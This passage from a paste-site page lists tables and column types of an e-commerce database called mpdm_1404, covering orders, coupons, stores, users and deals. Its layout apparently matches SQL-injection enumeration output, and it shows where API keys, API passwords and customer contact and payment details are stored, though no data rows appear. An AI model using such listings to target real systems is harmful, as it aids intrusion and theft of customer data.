  1930. | cap | int(11) |
  1931. | discount | int(11) |
  1932. | discount_rule_id | int(11) |
  1933. | rule_details | text |
  1934. | type | enum('fix','percentage','item') |
  1935. +------------------+---------------------------------+
  1936.  
  1937. Database: mpdm_1404
  1938. Table: api_session
  1939. [3 columns]
  1940. +----------------+------------------+
  1941. | Column | Type |
  1942. +----------------+------------------+
  1943. | logdate | timestamp |
  1944. | session_id | varchar(45) |
  1945. | store_front_id | int(10) unsigned |
  1946. +----------------+------------------+
  1947.  
  1948. Database: mpdm_1404
  1949. Table: category
  1950. [10 columns]
  1951. +--------------------+------------------+
  1952. | Column | Type |
  1953. +--------------------+------------------+
  1954. | level | int(11) |
  1955. | path | varchar(255) |
  1956. | category_id | int(10) unsigned |
  1957. | category_name | varchar(255) |
  1958. | created_date | timestamp |
  1959. | getit_category_id | int(10) unsigned |
  1960. | is_deleted | smallint(6) |
  1961. | is_mega_category | smallint(6) |
  1962. | modified_date | timestamp |
  1963. | parent_category_id | int(10) unsigned |
  1964. +--------------------+------------------+
  1965.  
  1966. Database: mpdm_1404
  1967. Table: attribute_option
  1968. [3 columns]
  1969. +---------------------+------------------+
  1970. | Column | Type |
  1971. +---------------------+------------------+
  1972. | attribute_id | int(10) unsigned |
  1973. | attribute_option_id | int(10) unsigned |
  1974. | option_value | varchar(255) |
  1975. +---------------------+------------------+
  1976.  
  1977. Database: mpdm_1404
  1978. Table: media
  1979. [6 columns]
  1980. +-----------------+------------------+
  1981. | Column | Type |
  1982. +-----------------+------------------+
  1983. | base_product_id | int(10) unsigned |
  1984. | is_default | smallint(6) |
  1985. | media_id | int(10) unsigned |
  1986. | media_type | varchar(45) |
  1987. | media_url | varchar(255) |
  1988. | thumb_url | varchar(255) |
  1989. +-----------------+------------------+
  1990.  
  1991. Database: mpdm_1404
  1992. Table: daily_deals
  1993. [9 columns]
  1994. +-------------+--------------+
  1995. | Column | Type |
  1996. +-------------+--------------+
  1997. | timestamp | timestamp |
  1998. | autoId | int(11) |
  1999. | bannerURL | varchar(255) |
  2000. | coupon_code | varchar(20) |
  2001. | deal_price | int(11) |
  2002. | end_date | datetime |
  2003. | product_id | int(11) |
  2004. | start_date | datetime |
  2005. | tagline | varchar(255) |
  2006. +-------------+--------------+
  2007.  
  2008. Database: mpdm_1404
  2009. Table: coupon_validity_rule
  2010. [3 columns]
  2011. +-----------+------------+
  2012. | Column | Type |
  2013. +-----------+------------+
  2014. | condition | text |
  2015. | is_active | tinyint(1) |
  2016. | rule_id | int(11) |
  2017. +-----------+------------+
  2018.  
  2019. Database: mpdm_1404
  2020. Table: final_table
  2021. [24 columns]
  2022. +-----------------------+---------------+
  2023. | Column | Type |
  2024. +-----------------------+---------------+
  2025. | timestamp | timestamp |
  2026. | category | varchar(255) |
  2027. | checkout_price | decimal(12,4) |
  2028. | coupon | varchar(50) |
  2029. | coupon_text | varchar(512) |
  2030. | discount | int(4) |
  2031. | id | int(10) |
  2032. | orderid | varchar(50) |
  2033. | payment_method | varchar(15) |
  2034. | price | decimal(12,4) |
  2035. | product_title | varchar(255) |
  2036. | qty | int(11) |
  2037. | store | varchar(255) |
  2038. | storefront | varchar(255) |
  2039. | sub_total | float |
  2040. | subscribed_product_id | int(10) |
  2041. | total_discount | float |
  2042. | total_paid_amount | float |
  2043. | total_payable_amount | float |
  2044. | user_address | varchar(255) |
  2045. | user_email | varchar(255) |
  2046. | user_name | varchar(255) |
  2047. | user_phone | int(12) |
  2048. | user_pincode | int(12) |
  2049. +-----------------------+---------------+
  2050.  
  2051. Database: mpdm_1404
  2052. Table: product_attribute_mapping
  2053. [3 columns]
  2054. +-----------------+------------------+
  2055. | Column | Type |
  2056. +-----------------+------------------+
  2057. | value | varchar(255) |
  2058. | attribute_id | int(10) unsigned |
  2059. | base_product_id | int(10) unsigned |
  2060. +-----------------+------------------+
  2061.  
  2062. Database: mpdm_1404
  2063. Table: order_product
  2064. [11 columns]
  2065. +-----------------------+----------------------+
  2066. | Column | Type |
  2067. +-----------------------+----------------------+
  2068. | discount | float |
  2069. | discount_qty | int(11) |
  2070. | discount_type | enum('price','item') |
  2071. | discounted_price | float |
  2072. | id | int(11) |
  2073. | order_id | int(11) |
  2074. | price | float |
  2075. | product_name | varchar(256) |
  2076. | qty | int(11) |
  2077. | subscribed_product_id | int(11) |
  2078. | total_price | float |
  2079. +-----------------------+----------------------+
  2080.  
  2081. Database: mpdm_1404
  2082. Table: store
  2083. [35 columns]
  2084. +--------------------------+------------------+
  2085. | Column | Type |
  2086. +--------------------------+------------------+
  2087. | business_address | varchar(300) |
  2088. | business_address_city | varchar(100) |
  2089. | business_address_country | varchar(100) |
  2090. | business_address_pincode | varchar(100) |
  2091. | business_address_state | varchar(100) |
  2092. | buyer_mailer_flag | int(1) |
  2093. | chat_id | varchar(45) |
  2094. | created_date | timestamp |
  2095. | customer_value | decimal(12,4) |
  2096. | email | varchar(255) |
  2097. | getit_store_id | int(10) unsigned |
  2098. | is_deleted | smallint(6) |
  2099. | is_tagline | tinyint(1) |
  2100. | meta_description | varchar(150) |
  2101. | meta_keywords | varchar(255) |
  2102. | meta_title | varchar(150) |
  2103. | mobile_numbers | varchar(100) |
  2104. | modified_date | timestamp |
  2105. | order_prefix | varchar(11) |
  2106. | redirect_url | text |
  2107. | seller_mailer_flag | int(1) |
  2108. | seller_name | varchar(255) |
  2109. | status | tinyint(1) |
  2110. | store_api_key | varchar(100) |
  2111. | store_api_password | varchar(100) |
  2112. | store_code | varchar(255) |
  2113. | store_details | text |
  2114. | store_id | int(10) unsigned |
  2115. | store_logo | varchar(255) |
  2116. | store_name | varchar(255) |
  2117. | tagline | varchar(256) |
  2118. | telephone_numbers | varchar(100) |
  2119. | visible | smallint(6) |
  2120. | vtiger_accountid | int(11) |
  2121. | vtiger_status | tinyint(1) |
  2122. +--------------------------+------------------+
  2123.  
  2124. Database: mpdm_1404
  2125. Table: sync_log
  2126. [2 columns]
  2127. +----------------+-------------+
  2128. | Column | Type |
  2129. +----------------+-------------+
  2130. | last_sync_date | timestamp |
  2131. | type | varchar(50) |
  2132. +----------------+-------------+
  2133.  
  2134. Database: mpdm_1404
  2135. Table: sessions
  2136. [3 columns]
  2137. +--------+----------+
  2138. | Column | Type |
  2139. +--------+----------+
  2140. | data | longblob |
  2141. | expire | int(11) |
  2142. | id | char(32) |
  2143. +--------+----------+
  2144.  
  2145. Database: mpdm_1404
  2146. Table: vendor_deals
  2147. [19 columns]
  2148. +-----------------------+--------------+
  2149. | Column | Type |
  2150. +-----------------------+--------------+
  2151. | redeem text | varchar(256) |
  2152. | actual_price | int(11) |
  2153. | autoId | int(11) |
  2154. | availability | int(11) |
  2155. | category | varchar(50) |
  2156. | deal_description | varchar(256) |
  2157. | deal_name | varchar(256) |
  2158. | deal_summary | varchar(256) |
  2159. | discount | int(11) |
  2160. | expires | datetime |
  2161. | last_updated | datetime |
  2162. | listed | datetime |
  2163. | mode | varchar(11) |
  2164. | offer_price | int(11) |
  2165. | refId | int(11) |
  2166. | store_front_id | int(11) |
  2167. | subscribed_product_id | int(10) |
  2168. | tag | varchar(256) |
  2169. | voucher_price | int(11) |
  2170. +-----------------------+--------------+
  2171.  
  2172. Database: mpdm_1404
  2173. Table: product_category_mapping
  2174. [2 columns]
  2175. +-----------------+------------------+
  2176. | Column | Type |
  2177. +-----------------+------------------+
  2178. | base_product_id | int(10) unsigned |
  2179. | category_id | int(10) unsigned |
  2180. +-----------------+------------------+
  2181.  
  2182. Database: mpdm_1404
  2183. Table: logging
  2184. [6 columns]
  2185. +---------+------------------+
  2186. | Column | Type |
  2187. +---------+------------------+
  2188. | date | timestamp |
  2189. | data | text |
  2190. | entity | varchar(50) |
  2191. | log_id | int(10) unsigned |
  2192. | type | varchar(50) |
  2193. | user_id | varchar(255) |
  2194. +---------+------------------+
  2195.  
  2196. Database: mpdm_1404
  2197. Table: temp_product_list
  2198. [5 columns]
  2199. +----------+--------------+
  2200. | Column | Type |
  2201. +----------+--------------+
  2202. | id | int(11) |
  2203. | name | text |
  2204. | pro_name | varchar(255) |
  2205. | status | int(11) |
  2206. | store_id | varchar(255) |
  2207. +----------+--------------+
  2208.  
  2209. Database: mpdm_1404
  2210. Table: coupon_bak
  2211. [11 columns]
  2212. +------------------------+-------------------+
  2213. | Column | Type |
  2214. +------------------------+-------------------+
  2215. | condition | enum('any','all') |
  2216. | coupon_code | varchar(20) |
  2217. | coupon_id | int(11) |
  2218. | coupon_prefix | varchar(5) |
  2219. | coupon_text | varchar(512) |
  2220. | discount_rule_id | int(11) |
  2221. | end_date | datetime |
  2222. | is_active | tinyint(1) |
  2223. | is_multiple_redemption | tinyint(1) |
  2224. | max_redemption | int(11) |
  2225. | start_date | datetime |
  2226. +------------------------+-------------------+
  2227.  
  2228. Database: mpdm_1404
  2229. Table: store_front
  2230. [16 columns]
  2231. +--------------------------+------------------+
  2232. | Column | Type |
  2233. +--------------------------+------------------+
  2234. | buyer_mailer_flag | int(1) |
  2235. | created_date | timestamp |
  2236. | is_deleted | smallint(6) |
  2237. | is_tagline | tinyint(1) |
  2238. | modified_date | timestamp |
  2239. | order_prefix | varchar(11) |
  2240. | parent_id | int(11) |
  2241. | redirect_url | text |
  2242. | seller_mailer_flag | int(1) |
  2243. | store_front_api_key | varchar(100) |
  2244. | store_front_api_password | varchar(100) |
  2245. | store_front_api_token | varchar(100) |
  2246. | store_front_id | int(10) unsigned |
  2247. | store_front_name | varchar(255) |
  2248. | tagline | varchar(255) |
  2249. | vendor_coupon_prefix | varchar(10) |
  2250. +--------------------------+------------------+
  2251.  
  2252. Database: mpdm_1404
  2253. Table: order
  2254. [32 columns]
  2255. +----------------------+---------------------------------------------+
  2256. | Column | Type |
  2257. +----------------------+---------------------------------------------+
  2258. | bank_transaction_id | varchar(50) |
  2259. | bankname | varchar(50) |
  2260. | billing_address | text |
  2261. | billing_city_id | varchar(100) |
  2262. | billing_name | varchar(256) |
  2263. | billing_pincode | int(11) |
  2264. | billing_state_id | varchar(100) |
  2265. | coupon_code | varchar(20) |
  2266. | coupon_text | varchar(512) |
  2267. | created_at | timestamp |
  2268. | gateway_name | varchar(50) |
  2269. | is_processed | tinyint(1) |
  2270. | order_id | int(11) |
  2271. | order_num | varchar(15) |
  2272. | order_prefix | varchar(5) |
  2273. | payment_method | enum('cod','paytm','prepay','tpsl','tbd') |
  2274. | payment_status | enum('pending','paid','cod','partial_paid') |
  2275. | shipping_address | text |
  2276. | shipping_city_id | varchar(100) |
  2277. | shipping_name | varchar(256) |
  2278. | shipping_phone | varchar(20) |
  2279. | shipping_pincode | int(11) |
  2280. | shipping_state_id | varchar(100) |
  2281. | status | enum('pending','completed') |
  2282. | sub_total | float |
  2283. | total_discount | float |
  2284. | total_paid_amount | float |
  2285. | total_payable_amount | float |
  2286. | transaction_id | varchar(50) |
  2287. | transaction_time | datetime |
  2288. | user_email | varchar(256) |
  2289. | user_name | varchar(256) |
  2290. +----------------------+---------------------------------------------+
  2291.  
  2292. Database: mpdm_1404
  2293. Table: product_frontend_mapping
  2294. [2 columns]
  2295. +-----------------------+------------------+
  2296. | Column | Type |
  2297. +-----------------------+------------------+
  2298. | store_front_id | int(10) unsigned |
  2299. | subscribed_product_id | int(10) unsigned |
  2300. +-----------------------+------------------+
  2301.  
  2302. Database: mpdm_1404
  2303. Table: gcm_data
  2304. [4 columns]
  2305. +--------------+--------------+
  2306. | Column | Type |
  2307. +--------------+--------------+
  2308. | android_id | varchar(100) |
  2309. | gcm_id | varchar(512) |
  2310. | id | int(11) |
  2311. | package_name | varchar(30) |
  2312. +--------------+--------------+
  2313.  
  2314. Database: mpdm_1404
  2315. Table: base_product
  2316. [27 columns]
  2317. +-----------------------+------------------------+
  2318. | Column | Type |
  2319. +-----------------------+------------------------+
  2320. | size | varchar(255) |
  2321. | average_rating | int(11) |
  2322. | base_product_id | int(10) unsigned |
  2323. | brand | varchar(255) |
  2324. | color | varchar(255) |
  2325. | configurable_with | text |
  2326. | created_date | timestamp |
  2327. | description | text |
  2328. | getit_base_product_id | int(10) unsigned |
  2329. | is_configurable | smallint(6) |
  2330. | is_deleted | smallint(6) |
  2331. | key_features | text |
  2332. | manufacture | varchar(255) |
  2333. | manufacture_country | varchar(100) |
  2334. | manufacture_year | int(11) |
  2335. | meta_description | varchar(150) |
  2336. | meta_keyword | varchar(255) |
  2337. | meta_title | varchar(150) |
  2338. | model_name | varchar(255) |
  2339. | model_number | varchar(255) |
  2340. | modified_date | timestamp |
  2341. | other_website_rating | int(11) |
  2342. | product_weight | decimal(12,4) unsigned |
  2343. | small_description | text |
  2344. | specifications | text |
  2345. | status | tinyint(1) |
  2346. | title | varchar(255) |
  2347. +-----------------------+------------------------+
  2348.  
  2349. Database: mpdm_1404
  2350. Table: greatbuyz_deals
  2351. [18 columns]
  2352. +-----------------------+--------------+
  2353. | Column | Type |
  2354. +-----------------------+--------------+
  2355. | redeem text | varchar(256) |
  2356. | actual_price | int(11) |
  2357. | autoId | int(11) |
  2358. | availability | int(11) |
  2359. | category | varchar(50) |
  2360. | deal_description | varchar(256) |
  2361. | deal_name | varchar(256) |
  2362. | deal_summary | varchar(256) |
  2363. | discount | int(11) |
  2364. | expires | datetime |
  2365. | last_updated | datetime |
  2366. | listed | datetime |
  2367. | mode | varchar(11) |
  2368. | offer_price | int(11) |
  2369. | refId | int(11) |
  2370. | subscribed_product_id | int(10) |
  2371. | tag | varchar(256) |
  2372. | voucher_price | int(11) |
  2373. +-----------------------+--------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement